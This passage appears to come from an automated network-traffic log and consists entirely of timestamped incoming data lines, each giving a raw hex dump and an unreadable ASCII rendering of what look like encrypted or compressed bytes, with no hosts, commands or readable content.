2022-01-24 07:55:04 UTC	83	IN	Data Raw: fd b9 00 5b 18 24 aa 65 83 84 a5 63 2d 8c ec 07 67 21 be 11 b2 47 7a 43 81 4e 8e 2e c4 81 20 6f 05 7c 83 99 3b 25 1a d7 a1 a1 c1 c6 ee 3d be f6 69 2d 46 12 4f 45 fc c1 f1 0f 04 c3 67 4f 73 f3 3b 82 d1 d8 93 fe 54 3e 5d 3b cd f7 90 f4 ea 27 d5 8b 74 49 f6 f4 75 57 13 6a ca fc a1 ce 10 b5 0f 8b 1b a8 ac 99 12 c0 fd 25 90 27 4d 5c 12 12 fa 70 19 df b6 d1 fb ed ab 29 fa 90 72 5c 9a fc 6a 8c 33 9b 4d 7e 51 09 16 0d 05 9f 5b 3d b5 e7 48 8b 3c 42 84 7d c3 80 a7 0c f3 9c 39 03 37 60 ee f7 84 cb 9b cd d5 74 0f 77 16 bc c7 ee bc 4b 8c e3 23 bb 4d f6 7b 66 51 35 99 29 ef 55 09 4f 83 c6 7e 6b d0 d1 ef 56 05 6f a9 75 31 0f 8b 39 9f dc 46 04 24 32 7e 96 59 46 b4 cf b6 2a a7 c6 8f 41 69 c6 01 a7 28 f8 fc 58 89 b1 d3 4d b4 b5 75 6f af 17 fb 18 86 c2 66 d3 7c bd 8e 1e b9 Data Ascii: [$ec-g!GzCN. o\|;%=i-FOEgOs;T>];'tIuWj%'M\p)r\j3M~Q[=H<B}97`twK#M{fQ5)UO~kVou19F$2~YF*Ai(XMuof\|
2022-01-24 07:55:04 UTC	85	IN	Data Raw: 78 f4 fb a8 ab f0 0c 81 a5 f4 39 ef 08 d5 14 15 0e df cd ba 8f 94 79 5c 2e d0 03 77 61 68 1a 70 8b 8f e8 51 c0 3b 44 19 b3 f4 91 52 07 15 d8 a5 93 33 16 dc 8b b9 e1 a9 08 7f ea 27 8d 96 ed 6f 24 40 88 64 98 28 53 c7 54 a8 ea 6a 10 4d 65 f1 3b 1f eb bb 1e 25 30 04 14 8b 38 6a 43 df 4b 73 f1 82 ef 1e 65 c1 f7 69 bc ed 70 93 60 3c 14 33 31 54 90 cf 3b 9f 3c a7 d7 6e 23 9d 63 89 48 56 3c 01 7a 50 63 5b 2d a2 5f bd 4e 78 6a fb 99 8b 51 f9 c4 b2 80 ec cb 13 4a 3f 9c aa 2a 6c cc 2a 58 ab ab e7 1f 31 4c b7 ee 00 9a 00 ad ac 6f 14 bb 8a 83 d0 28 7a aa 60 f5 2f 76 97 a0 1f 3c 37 63 45 ba 3e 13 6e 33 b8 8e fd e2 fc 63 a2 66 28 42 8a 66 e5 c4 f3 8c 51 91 d7 fb ce 54 8e 07 60 7a 38 83 a3 c6 04 a1 df 1f 11 6e 22 a6 b3 a7 89 a8 cb 23 a5 9a 7f 53 1d 0e 78 38 0e 0c 63 07 Data Ascii: x9y\.wahpQ;DR3'o$@d(STjMe;%08jCKseip`<31T;<n#cHV<zPc[-_NxjQJ?lX1Lo(z`/v<7cE>n3cf(BfQT`z8n"#Sx8c
2022-01-24 07:55:04 UTC	86	IN	Data Raw: 9d 80 15 f5 8b be 7f 1e 9c ef d1 af 9c 8a c2 df 6c 18 fe 28 7d c4 c2 b4 48 c9 d9 bb 42 9a 4b 53 66 5b 3c 9b 8f 5f 3a fc 49 83 c0 4d 16 05 c0 ed 29 dc 59 ba 7e 32 9a 15 3b 6c 9d 2e 2d 26 30 07 5c 2a 78 b2 bb 3c 33 cd b4 b2 38 a0 cc 29 e3 a4 4f f1 a6 dc 65 5e 6c ac da f3 46 ea 13 88 2c f0 e0 6c ad 23 c2 47 14 91 7d ad d4 57 0c ba 32 c8 5e c1 24 b4 55 08 cb 2d e8 a6 f2 f3 e2 d9 a4 30 21 54 0c c9 a8 01 24 6f a7 15 2d cb f1 f3 0b 62 94 68 01 98 df 12 db 21 f3 4f 45 57 09 a1 10 02 4e e5 80 31 e7 1c ea eb 6e cf 98 38 18 e7 8c 39 ba a0 c0 4d b8 aa 21 d8 8b 06 4b f9 18 8d 62 76 e2 ba bd 25 76 4b e7 ad 51 52 34 20 b9 b7 d6 79 16 aa f2 d7 c8 08 4c 7d 11 76 a5 85 bd f9 6c a4 eb 5c b5 57 81 f8 22 2b 39 db 63 1c 18 92 04 4e d0 0a 86 62 9e 8a 5b c7 ba f9 5d 2c 11 02 17 Data Ascii: l(}HBKSf[<_:IM)Y~2;l.-&0\*x<38)Oe^lF,l#G}W2^$U-0!T$o-bh!OEWN1n89M!Kbv%vKQR4 yL}vl\W"+9cNb[],
2022-01-24 07:55:04 UTC	87	IN	Data Raw: 12 4a 37 43 5b 00 6d c8 35 50 c3 6c e7 0e 3a 23 77 ed 2c 9c 1b bc 16 50 16 bf 0e 1c 9f 37 69 af 76 a4 2d 68 ad 5e 1c 6b 8b 61 3e 77 37 02 6c ed 26 a0 2b 6d d5 18 72 64 00 56 9a 6b c7 8f 8a 4a 5b 93 a8 3b bd 6a 88 00 19 55 3f f0 96 d5 0c d8 c8 5d 13 64 00 ef a7 31 f0 86 cd 50 ee b0 3f 5b 35 44 73 2f 92 57 1e 07 8f ba 1f 5b 27 9d 50 42 49 98 c0 a4 22 dc 90 f4 10 6e bf 35 ca d4 f1 b5 0f ee 32 88 25 a5 51 57 80 66 34 3f 18 84 2f f3 0d f6 c7 6c a3 1c f1 6a ff c6 ff 38 6a 72 48 ef 1e 4a 21 0c f9 0c de 55 e3 0b 42 1b 94 f0 c8 53 a1 71 26 a9 11 4b 4c ff b2 73 0b 15 3b b6 b3 c2 aa b0 6b 03 4a ff 0f 45 6a bb 00 b5 a7 d1 42 81 4a e6 e6 db 96 37 d7 6a 7c 8d 86 20 79 30 af 9a d8 0c 4a a8 39 b7 e6 7e f3 cf b4 09 45 fe bb 09 b7 04 c7 7c 6a 40 f5 48 b6 c4 54 a6 ef 5c 4c Data Ascii: J7C[m5Pl:#w,P7iv-h^ka>w7l&+mrdVkJ[;jU?]d1P?[5Ds/W['PBI"n52%QWf4?/lj8jrHJ!UBSq&KLs;kJEjBJ7j\| y0J9~E\|j@HT\L
2022-01-24 07:55:04 UTC	88	IN	Data Raw: af 4e d2 71 40 99 8c 13 3b 76 f3 1a 13 de 46 ea e1 77 dd 66 a4 32 e7 86 99 94 f4 c6 d7 a6 f6 c2 dc 8b 1b 21 bf 1f 8d 66 5c e2 b2 a4 07 3a 63 26 a3 46 82 1b 1b b3 a3 c0 10 f5 09 f2 d3 d4 16 e8 18 11 76 ae 80 84 1b 6b 9c 70 75 b7 7c c6 f9 53 6e f7 db 69 06 06 61 3b 4c d1 11 aa 35 4a 07 44 d6 bc e0 ad 1a 52 00 1d bd ee 05 59 01 30 fb 84 78 60 c7 96 82 0a 6c 55 71 f0 ba aa d5 8e c3 a4 8d d9 21 a5 ab 33 01 07 38 45 6d 80 b3 76 4c 62 b7 96 56 32 b3 df 10 ab 2f fd b1 4c 75 92 55 a4 3e b5 de fc 45 df 13 b5 47 48 b4 e5 46 10 9e 75 54 ee 8c 7a 96 9d 9b 2b f9 06 57 7e ef 4b 92 ac f4 28 f1 01 c2 c1 0f 22 c8 d3 55 87 2e 64 4d 4f ee d5 62 9f 69 29 6f 8f 8b e8 47 d7 da 6a cb b0 f3 9a 41 c7 ec 5c 91 8c 03 01 5d 3c 82 ee b6 27 b1 e8 0b d9 94 96 a7 2c 40 8c 06 b0 21 78 96 Data Ascii: Nq@;vFwf2!f\:c&Fvkpu\|Snia;L5JDRY0x`lUq!38EmvLbV2/LuU>EGHFuTz+W~K("U.dMObi)oGjA\]<',@!x
2022-01-24 07:55:04 UTC	90	IN	Data Raw: 6f ee cd c4 77 4b 73 43 ed 65 01 0a 0c fd 0a be 66 c1 0a 49 0a 9c 0e dc 51 a1 7a 1d ee 02 40 6e 1a b5 00 4c 01 2d af 88 90 bb a1 6c 0b 08 fc 0f 4f 68 aa 03 ac 00 6e 43 81 4e 8e 22 ca 9d 1b a4 01 6d 8a 90 3c c8 0f e9 8c b2 c0 6a a8 3c be f7 6b 36 52 8d 21 d3 fd c0 df a4 0d b0 4f 65 42 f4 28 80 d7 5c bd f2 3b 17 77 0a ca e1 89 d9 a6 36 d8 0f ac df 2d e7 66 c8 22 41 de ec bf d9 01 36 0a aa 09 a8 a6 91 f1 2d f9 18 ff 32 e0 86 1c 03 f0 69 1d ea 86 4f dd 99 2b 2b f8 97 10 67 8f 26 77 4b bb c3 72 7c 50 2b 7b 4f 07 95 25 26 a3 71 20 a7 33 53 86 7d c5 83 a7 0c eb 86 c0 63 09 62 e4 92 88 89 99 cb c9 6e 12 f5 76 85 d3 ff b1 ed 7b f6 f9 a2 73 a7 76 4d 72 2d 87 ae 57 ab 9b 60 a4 d1 fd 07 02 c0 e0 c3 05 56 db 52 db 1f 84 2e 49 09 6b 2b 2c 18 21 5f 59 4c a3 bd 27 25 b0 Data Ascii: owKsCefIQz@nL-lOhnCN"m<j<k6R!OeB(\;w6-f"A6-2iO++g&wKr\|P+{O%&q 3S}cbnv{svMr-W`VR.Ik+,!_YL'%
2022-01-24 07:55:04 UTC	91	IN	Data Raw: a1 5c af b4 c3 54 e8 5c b1 9f 77 08 71 6a c8 79 6e 56 36 70 e1 57 11 e1 a8 60 36 18 78 80 b3 d8 38 c9 02 44 50 fe 4f 84 54 f7 23 e7 3b de c2 d2 26 cf c2 ba 82 8e 1c 55 44 ef fa 6d 60 68 0f 1e ce 82 e8 4a b5 35 6e cd b2 d8 98 79 14 eb 27 9e 8d 03 05 13 8b a8 ff a0 27 8b d3 be ad 94 96 a7 35 4a 9b e9 a7 06 50 d5 5e c8 99 44 18 52 63 27 79 31 e4 b6 1f bf 58 d0 99 a0 27 57 51 dd 54 6f ed 97 cf f1 6e f2 c1 9e ac c8 76 93 61 bb 02 b1 ec b1 cc ed 3b 9f 23 bf c4 64 23 cc 32 be d0 a8 3d 27 c8 c8 6d 7e b0 1a 89 a7 5e 6d 70 0f 98 b6 49 e4 d0 5b 57 4d e6 38 78 22 f5 70 20 6c d9 3f 4c 46 a5 cb 07 06 de 49 ef 2c 89 0b c5 6f 6f 05 b5 1b 21 22 34 45 ae 68 f5 25 e7 1a 88 12 0f 56 72 34 73 2f 19 75 2d 57 8b 07 67 c6 6b b5 b2 13 5a 94 71 fc cc 88 5b 5b 8e d8 03 bc 46 83 16 Data Ascii: \T\wqjynV6pW`6x8DPOT#;&UDm`hJ5ny''5JP^DRc'y1X'WQTonva;#d#2='m~^mpI[WM8x"p l?LFI,oo!"4Eh%Vr4s/u-WgkZq[[F
2022-01-24 07:55:04 UTC	92	IN	Data Raw: eb 92 2c fa 96 01 4a 28 fd 60 9b 25 ee 63 7a 53 78 e7 4d 07 9b 53 4f 7f 71 3b b0 28 d8 f5 8a 83 82 a3 69 64 8a af 76 0a 19 32 fd ac 8f 8f 57 a4 9d 17 e1 61 ec ad ec b6 69 12 a9 06 99 52 b4 79 6c 48 34 83 ae 50 12 e2 4e 83 c6 d3 de 01 d1 e9 7a b5 58 ba 7c 17 08 97 23 49 e5 6a 2b 2c ee 26 7a 71 71 b0 bb 3c 39 ae c4 ad 3b a0 c6 81 8b 6e 4b fb 88 b6 c8 5f 66 b2 93 61 54 ed 3d c3 12 f2 ea b8 d3 76 c7 7e 98 b8 3b af c2 5f fb 86 32 c8 5b 43 85 ae 8d 64 da 3e e7 b1 d5 8e 2f a2 6f 30 23 2b 5e 7e a5 07 37 1f f6 06 20 cd fe af 0b 62 91 7b 71 44 09 88 cc a3 46 b8 a7 57 09 a4 34 64 6e e2 91 37 db 6e 23 ef 64 de 58 38 35 e7 8c 3a 86 f1 d6 65 11 de 02 d2 a3 81 36 32 12 9c 6a 49 d9 72 b1 0d 2a 5d 6a a0 46 84 b8 1e ad a3 fc a7 dd aa f8 fb 84 00 64 2d 00 7b db a4 ac ea 68 Data Ascii: ,J(`%czSxMSOq;(idv2WaiRylH4PNzX\|#Ij+,&zqq<9;nK_faT=v~;_2[Cd>/o0#+^~7 b{qDFW4dn7n#dX85:e62jIr*]jFd-{h
2022-01-24 07:55:04 UTC	93	IN	Data Raw: ad c4 62 32 d1 2d 9a 5b 56 3c 0b c5 de 72 15 0a af 5f a6 57 76 6f 6a 75 a7 43 f1 ac cf 54 61 ea 00 47 2c ec 4b e7 68 c8 33 49 d7 cf e5 0e 34 7c 7f e9 3d 98 6d e2 67 6f 1e ae 08 23 0a 5a 6f a4 60 ee 4f 03 af 5e 14 1c 51 6a 16 6c 3d 13 6c 54 c5 88 2b 67 f1 72 a9 62 11 5c e4 52 ed c6 82 25 3d 93 d3 f7 9b 41 aa 16 67 43 4c f0 9c c2 29 b6 e6 54 3b 71 2b af a3 5e 96 95 c9 29 89 a3 34 57 0c 0a 1e 1b 9a 7f 56 6a e3 b2 0e 54 10 81 d1 7c 9f 8b cc ce e1 cd 89 ce f1 fe 51 cb c2 f3 63 9c ab c6 e2 8c 27 d8 f5 3b 82 62 37 08 0f 59 b1 d3 19 de 08 13 73 1a e7 e3 e9 cb d7 7f 7f 66 56 c5 c6 8c 21 06 d5 1a ad 6b eb 64 25 08 9c 89 d1 40 aa 53 1b ea 13 4d 29 82 b4 00 40 31 35 b9 8a 89 c7 60 61 2b 02 ac 01 4b 3d 92 18 bc 08 43 43 81 48 c9 00 df 92 2c 30 51 65 a4 08 2b db 11 d7 Data Ascii: b2-[V<r_WvojuCTaG,Kh3I4\|=mgo#Zo`O^Qjl=lT+grb\R%=AgCL)T;q+^)4WVjT\|Qc';b7YsfV!kd%@SM)@15`a+K=CCH,0Qe+
2022-01-24 07:55:04 UTC	95	IN	Data Raw: 27 ea b4 a3 57 e0 a2 6b 33 09 de 83 7e af 2f 2d 3c 42 17 2d c9 f6 55 09 62 9f 10 7e 45 ed 1a db 8f bb 3c 7a 57 38 ab 30 04 7d e4 86 48 99 47 ea e1 1e da 4d c8 ed e7 8c 3f 90 e1 bf ad b2 de 06 f2 8b 1d 25 02 1b 8d 23 5d f1 b8 b5 0d 2c 4b e5 a4 42 ac 0b 0b b9 b1 d1 2c 53 ab f2 d9 f2 0b 4c 09 13 76 a9 e5 8a e8 6a 96 00 57 b1 7f 0d fa 51 1f 17 d0 41 2c 70 e1 3d 3f f6 02 ae 28 e6 88 46 ab 5d e1 85 5b 52 05 19 cd e7 7d 59 1a 4b 4a 66 78 64 c1 c7 4e 0a 6c 42 50 f0 bc 71 d1 14 eb 38 8d d9 2b 05 92 20 16 d1 21 43 6a f9 4e 7e 72 2b 4b 7f d4 dd b1 a4 dd a9 2c 84 53 c3 5e 96 57 a2 38 86 de fc 45 ca 59 6f 05 32 73 68 6d 14 f0 ac 93 66 0a 7b 92 99 c2 4b cb 04 5d 29 0c 4b 92 ae f6 53 03 17 c9 ee 16 4d 81 c5 ab 8c 00 15 26 46 ee d8 09 85 68 05 69 9a fb 0c 40 cf 20 69 88 Data Ascii: 'Wk3~/-<B-Ub~E<zW80}HGM?%#],KB,SLvjWQA,p=?(F][R}YKJfxdNlBPq8+ !CjN~r+K,S^W8EYo2shmf{K])KSM&Fhi@ i
2022-01-24 07:55:04 UTC	96	IN	Data Raw: 8b a5 01 a4 47 b6 dc 53 87 ad f1 3b 9b 22 de 8b 52 98 9c 3c 02 15 50 a3 aa b9 f7 c5 11 79 05 e2 6b ee da d2 64 95 73 6e e7 63 8b 5c e7 fd 0b a9 70 f2 0e 48 1b 99 9e 09 50 8d 72 06 86 6e 49 46 e4 a8 13 4f 17 2a b9 8c 7c a9 9c 62 33 1b f8 0f 5e 7e a7 ef b9 04 f3 41 83 3b 29 2a db 90 38 7a 16 68 8c 97 2f c4 12 05 99 8f cd 43 c7 40 bc f7 72 3a 4a 8d 0c 45 ed c5 cf 49 05 ef 6e 70 51 f7 3b 99 c3 4b a6 00 55 13 77 21 c9 cf b5 23 4f d8 ff 9f 19 d3 c7 f6 73 e0 2c 6a ca 30 b2 c8 1e b3 17 90 11 ba a5 f2 b0 3e fc 08 e2 21 24 91 3a 5f ff 78 02 ca 64 54 fc ea ad 5f 6f 96 01 63 b2 ff 48 e3 34 e8 78 6a cb 08 e0 43 22 b7 66 34 a3 7b 36 9c 06 42 8e 5f 5d 82 a0 2c fa 8a bf 70 08 62 ee dd ac 80 b2 cd d1 e8 17 e1 64 69 c7 c6 a1 63 cc eb 21 a7 18 be 78 66 5f 3e 96 c2 53 3b 8d Data Ascii: GS;"R<Pykdsnc\pHPrnIFO\|b3^~A;)8zh/C@r:JEInpQ;KUw!#Os,j0>!$:_xdT_ocH4xjC"f4{6B_],pbdic!xf_>S;
2022-01-24 07:55:04 UTC	97	IN	Data Raw: 8d 61 f4 ba b0 d6 17 96 21 8c d9 2f 00 b8 4c 1c d0 2b 45 01 a1 a3 7e 76 28 4b 6d c6 ea b0 a4 df d6 35 f8 b6 c7 50 97 7d 28 44 60 d4 d0 4c cf 07 fc 45 33 79 98 62 15 f0 a9 c5 89 0d 75 93 e6 95 39 c9 00 50 42 92 6b 93 aa f0 2f e2 6c c7 eb 14 26 a0 42 a9 86 08 de 3b 39 f3 d3 74 65 6f 0b 69 e5 a2 e9 40 cb 23 65 e3 cf f9 99 6a 20 e9 29 5e f1 20 04 d3 8f aa e9 d9 e4 80 eb 0d ab 96 ed a9 25 40 88 78 20 28 53 c7 f5 ac e4 4b 13 4d 6b db 6a 1c ee de dc 64 4f 00 11 e4 5a 57 50 da 49 65 91 44 ce e0 62 ef ad 6c ac e4 7d 85 06 2d 09 3f 51 89 d6 ff 0b 9a 3c 7d d7 6e 23 0b 38 a1 c8 54 47 19 c2 cf 78 6d 0d a6 77 82 43 67 65 76 1b a5 43 f1 b9 a1 28 4e e1 13 40 52 8f 61 2a 66 c4 4b 7d b9 a4 ed 1d 39 42 4e c7 1a 94 02 dc 68 67 02 8d 09 30 ca 3d 7e 73 0f de 22 69 a7 55 35 12 Data Ascii: a!/L+E~v(Km5P}(D`LE3ybu9PBk/l&B;9teoi@#ej )^ %@x (SKMkjdOZWPIeDbl}-?Q<}n#8TGxmwCgevC(N@Ra*fK}9BNhg0=~s"iU5
2022-01-24 07:55:04 UTC	98	IN	Data Raw: 37 07 81 98 5c dd b0 bd 1a fa 47 f8 aa 55 81 b9 1b bc ad 2a 05 f1 af e4 d8 c5 13 61 27 00 73 b2 68 ad c6 7e 8a 78 22 b9 56 83 ff 3e 9f 39 db 63 15 a8 f2 3f 40 ce 13 ab 22 8d 8f 4e c6 42 e0 a9 59 7b 0d 08 d8 dc 00 59 0b 48 28 96 86 65 e9 e2 4c 71 62 50 60 f0 85 30 d1 14 eb 27 9e ca 2e 07 ab 32 08 2f 2a 6d 75 bc ff 81 8d d0 56 60 ba 35 b1 b5 dc b2 d1 f8 9a d3 5c e9 5b a7 45 64 b1 7a 43 c8 73 d7 4f 29 60 e0 46 05 f5 b2 e5 7f 0b 57 83 9c b3 43 c7 05 57 50 80 cd 90 aa fe 21 3a af 1e e1 0b 2e dc c1 ab 97 07 7a ab 45 c2 cf 76 1a 66 04 6d 9c 82 93 50 ce 24 6f f1 b0 a3 88 6b 24 ea a9 ed e3 aa 05 d3 81 b5 fd b3 34 90 ee 1d 52 95 ba a4 33 53 89 17 b7 2f 4c da b3 c3 b5 57 39 48 57 30 85 e2 14 9b 1b 55 4a 06 11 89 27 57 88 d0 4b 73 fc e6 df e1 64 e9 fb 6b 85 50 7d 82 Data Ascii: 7\GUa'sh~x"V>9c?@"NBY{YH(eLqbP`0'.2/muV`5\[EdzCsO)`FWCWP!:.zEvfmP$ok$4R3S/LW9HW0UJ'WKsdkP}
2022-01-24 07:55:04 UTC	99	IN	Data Raw: 17 3b bc 40 82 a8 a1 12 a7 08 fd 05 43 79 bd 19 d7 e3 f9 42 87 64 91 2f d3 f9 46 60 05 67 dd 91 21 05 0a ff 8c f2 d1 41 76 37 b6 db 7e 2d 2f c9 09 45 f6 1c de 9d 04 c2 7d 67 42 f0 3b 8e c6 49 8f fe 5e 3f 75 0a cc ec aa d9 b0 20 d4 81 1b 14 f7 f4 62 d9 7c 11 c4 fc b2 cc 7a 9b 1c 84 1a 94 a8 ae 09 3c fc 0f 82 a6 34 95 18 68 fc 28 67 12 61 5e d6 e7 83 b8 fa 96 0b 6f b0 6f 62 9d 3c e4 7b 02 c2 03 3e 47 2f 5f 50 34 a5 62 3f b2 51 d6 8c 55 89 91 a1 2d c7 99 a9 58 9d 60 ee f7 bf 8e 9a dc da 12 81 e3 65 89 e8 c4 b4 33 dd e4 2b de af b5 79 60 77 22 91 bb 49 3f f6 57 82 c0 ff 1e 14 d4 94 48 1b 59 be 6b 34 65 a0 25 61 d9 05 ef 27 30 03 79 4b 40 98 2c 34 2a ad ea 37 e4 ae d4 07 5d b0 68 fb 8e 85 08 09 66 b4 bf ab 45 ba 7a 33 13 f2 e6 77 d7 08 08 46 1e bf 39 ff af 50 Data Ascii: ;@CyBd/F`g!Av7~-/E}gB;I^?u b\|z<4h(ga^oob<{>G/_P4b?QU-X`e3+y`w"I?WHYk4e%a'0yK@,4*7]hfEz3wF9P
2022-01-24 07:55:04 UTC	101	IN	Data Raw: 5a fc 4d 92 bb f2 37 f1 e9 c8 c6 08 20 b4 ca aa 86 06 65 2e 64 ef d2 70 49 f2 07 6d 92 96 f2 2f 66 24 6b ed ad ca 8b 6c 24 ff 21 45 9a fd 04 ff 91 aa 95 b8 35 81 ef 0d 22 23 20 8f bd 42 8c 1d b0 32 3c 64 4d c2 93 4a 05 5e 69 d9 69 1b f4 a3 f6 64 63 24 16 f0 29 56 50 d4 49 61 85 81 ce e0 60 82 04 61 ad e2 51 18 6b aa 01 29 41 e1 55 ec 3b 95 23 b4 c4 68 23 cc 3e be d2 a8 3d 27 c8 ef 7c 72 3e ad 4c a8 5e 6b 70 03 98 b6 45 e4 da 5b 57 4d f7 11 31 33 e0 63 2e 7a e0 ac 50 b8 ae f1 16 51 f9 49 ef 26 89 18 c5 63 6f 05 b9 1b 21 22 34 45 bf 62 9f 2e 68 ad 5a 17 9e f7 d7 16 ea 3c 13 60 2d b1 e5 82 6d d7 69 bd 72 13 54 8b 77 e9 d9 95 b4 50 bd c7 ff c6 64 8d 07 6e 62 2b f9 12 73 6b 02 f7 5f 19 71 36 bc a3 31 eb 91 d6 33 51 b3 13 73 1f 7f 7f 2e 98 7b 5e 06 f4 91 0f 5e Data Ascii: ZM7 e.dpIm/f$kl$!E5"# B2<dMJ^iidc$)VPIa`aQk)AU;#h#>='\|r>L^kpE[WM13c.zPQI&co!"4Eb.hZ<`-mirTwPdnb+sk_q613Qs.{^^
2022-01-24 07:55:04 UTC	102	IN	Data Raw: 85 ae 70 0c 60 95 f1 ad 8b 9d a2 55 7f 17 eb 0f 81 be ff b7 63 c8 37 0b 2a 67 b4 73 70 45 53 29 bf 58 30 92 42 90 c4 fb 07 01 ce e6 ac 1b 75 ad 78 4a 10 85 24 65 cb 42 b1 24 30 0f 49 43 29 19 bb 36 20 b8 cd 9e 3e a0 d7 05 bc b5 b1 fa a2 94 4f c9 66 b4 bf 7b 58 fe 06 ff 12 e3 e4 7e 2d 66 ec 48 1c c2 35 ae d4 59 ef c7 30 c8 55 c7 2b aa 53 73 11 29 f2 5c df 9a ca a0 14 3e 20 50 86 64 28 28 26 14 6d 18 24 d9 9a 23 97 6b 82 75 31 cf d6 0a c3 33 4d da 66 cb 00 b6 02 45 d6 e4 80 31 d4 55 ee eb 75 dc 51 b8 cc e6 a0 2c 90 9e cc 4c b2 da 06 f0 10 1f 36 38 0e 93 09 f4 f1 b8 bf 12 22 58 e3 a7 57 80 a6 1f 47 b6 f8 0e a3 bf f3 d3 da 0c 7b 31 02 72 af 87 a8 f5 7d 62 7b 75 8e 55 f8 f5 50 15 3f c5 e4 29 72 e1 3a 41 d9 16 b1 72 00 83 46 c9 f7 7d 8c 47 4b 9c 1e d0 d3 99 50 Data Ascii: p`Uc7*gspES)X0BuxJ$eB$0IC)6 >Of{X~-fH5Y0U+Ss)\> Pd((&m$#ku13MfE1UuQ,L68"XWG{1r}b{uUP?)r:ArF}GKP
2022-01-24 07:55:04 UTC	103	IN	Data Raw: 63 2a 66 c3 2a 5e ab ac e7 1f 36 4a b7 ee 00 99 00 ad 6b 6e 14 bb 6b b2 de 35 63 a8 7b f7 28 69 bc 56 01 33 be 60 12 7f 3c 10 6e 54 7d 8b 2b 6b c8 47 b1 6c 00 43 83 79 f3 38 89 66 5e 93 a8 f6 bc 6a 88 3d cb 6b 3d f0 83 d9 17 a3 f7 4e 1b 71 09 51 a4 1d ea 95 b2 2d ae b2 3b 58 72 9a 73 2f 92 60 7e 16 87 b0 1f 56 29 85 21 6a 65 92 ca b0 1a dc 90 fa b8 17 bd 3c ca cf 5b 92 b4 10 33 a4 2a d9 9c d9 37 59 53 d1 e1 ad bf cc 1e fe c5 06 7b 03 e9 90 ef e7 c3 7d 3b 71 12 96 45 8d 21 08 e8 6a d0 4b e0 0b 4c 15 85 90 ff 51 b0 73 11 f3 ed 4a 6a f4 b5 50 48 6c 35 bd 9b 86 c7 36 63 2b 02 f4 d5 f7 15 c3 0d b9 28 fc 5d 9a 5b 95 2b ca 9e 25 9e 04 41 8f 91 39 d3 1b ea 90 bc e3 b4 a9 11 bc dc 7d 1d fa 62 f6 ba d6 c0 ca 87 07 c3 11 67 42 f2 db 88 c6 45 ba f5 7f 24 75 0d db 09 Data Ascii: cf^6Jknk5c{(iV3`<nT}+kGlCy8f^j=k=NqQ-;Xrs/`~V)!je<[3*7YS{};qE!jKLQsJjPHl56c+(][+%A9}bgBE$u
2022-01-24 07:55:04 UTC	104	IN	Data Raw: 5d 74 82 19 2a 7b fb 9a 28 c7 46 fb e3 7b ca b0 b4 1e ee 8b 24 98 d6 83 52 a1 cd 0a d8 9a 15 28 cc 19 a1 69 5e f9 a6 63 25 a7 49 e7 ad 55 80 a6 03 aa bf d4 15 d5 b5 e3 2d df 2c 70 22 12 7e b0 8a 7a c2 53 9d 7a 53 c8 4a 82 fb 55 0a 29 c8 61 02 63 e9 24 56 2e 01 82 2a 94 9d 87 da a3 fa 96 57 50 11 1f d6 c6 fb 58 36 42 34 8c 67 6e 13 c5 c5 08 6c 5b 6d eb b6 a8 d9 14 fa 30 97 27 2a 2b b2 0f 1a 2e d4 be 67 97 aa 7e 63 27 56 67 57 31 9d aa dc d0 33 f8 b6 c7 4b fc 66 ab 5a 6f cd f4 41 d9 71 70 55 cd 72 c9 57 11 8b b0 ef 81 0e 6e f8 db ec c7 36 fb 48 45 fc 43 92 bb fc 37 eb e9 c8 c6 18 2b d0 dc ef ce fd 99 aa 5b e2 c1 7c 61 79 0d 7a 66 81 c4 43 d7 37 63 e7 a3 d0 80 94 25 c2 2b 59 02 b4 1f ec 9b a9 ee b6 2d 92 e3 0b bd 9c 8a 59 25 6c 81 14 ae 32 85 e5 c6 c0 99 5f Data Ascii: ]t{(F{$R(i^c%IU-,p"~zSzSJU)ac$V.WPX6B4gnl[m0'*+.g~c'VgW13KfZoAqpUrWn6HEC7+[\|ayzfC7c%+Y-Y%l2_
2022-01-24 07:55:04 UTC	106	IN	Data Raw: 7f 43 43 43 ed 6f 8e 5a 02 fc 0b a9 04 7c 09 48 00 10 13 f7 51 a0 6d 26 72 12 4b 4c c2 b2 16 40 c9 48 be 8a 8a d5 a1 60 2b 0c ff 1e 4b 6c d4 cb 0f 3f 2e cf aa 48 9d 2a a6 86 32 60 01 6f f7 88 2b db 1f f2 8e cc 57 48 a8 37 98 f5 03 2b 41 9e 0d 47 87 d0 d8 b7 00 d5 7c 63 f5 9d 60 88 c6 5e 8a fc 2f 31 74 0a c8 fe 8c b3 20 25 d5 8b 3d df fd 2a 51 d9 57 64 cb fd b6 a7 89 a5 1c 8e 0d d3 9e ee d9 c1 03 d7 fd 0d 01 95 12 18 d6 40 08 db 6a 80 d0 fb 81 2d d2 d7 1d 62 98 fc 60 9d 36 fa 72 7c 51 b5 3f 4d 07 57 50 34 a3 7d 3b b4 3e 58 8e 55 82 91 97 04 fa a3 af 70 08 6a ee fd bd 9d 92 e6 c4 7d 10 f6 9b 82 e9 ec ae 68 cc e6 35 4f 64 98 7b 71 50 3c 87 a7 a6 3b a1 4c a8 c2 d0 f5 07 aa f5 53 1a 5d 90 00 33 36 93 24 61 d7 68 34 3c 18 be 5f 59 4c 98 6e 32 2a a1 ef 33 3a a0 Data Ascii: CCCoZ\|HQm&rKL@H`+Kl?.H2`o+WH7+AG\|c`^/1t %=QWd@j-b`6r\|Q?MWP4};>XUpj}h5Od{qP<;LS]36$ah4<_YLn2*3:
2022-01-24 07:55:04 UTC	107	IN	Data Raw: d7 4a 85 7d 01 45 60 d4 da 6a 92 7e 7b 6d d1 77 e5 40 02 7d aa ee 81 0b 6f 82 8f 99 9b c9 04 5d 40 c7 a8 96 aa f2 3e 6d 10 c9 ea 15 36 db d0 83 25 02 66 5f 6c ff d2 74 6b 64 0d 79 b0 64 ec 40 c9 33 e6 e0 b2 d8 99 79 20 ff 23 4c a4 e6 01 d3 8d 0a ff b2 20 95 ff 23 0f 94 96 ad 0c f7 8c 17 ac 06 51 e6 75 c5 8d 7d f0 49 6f df 6e 90 ec b1 08 64 5b 12 00 a3 84 57 50 da 5f 4a 18 99 cf e6 72 60 d1 60 ad e5 6d 96 7d 82 a8 3f 5b 84 d4 5a 3b 9f 36 8f 60 6e 23 d7 02 cf 26 a9 c3 0c d7 e7 9b 7e 3e ab 49 21 46 67 63 04 8c b3 57 d3 60 a5 56 6b c8 49 4a 3d eb 69 f4 7c ed 1d 65 b8 a4 ed 03 28 5a 61 d7 2c 96 08 08 65 69 3e bf 04 34 9d 29 69 a5 60 e4 20 69 ad 5e 1e 10 b3 60 3e 73 cd 12 6a 3b b9 8a 2b 6d cd 63 a2 65 1b 62 8e 66 6b c7 88 4a bb 91 d3 ec 95 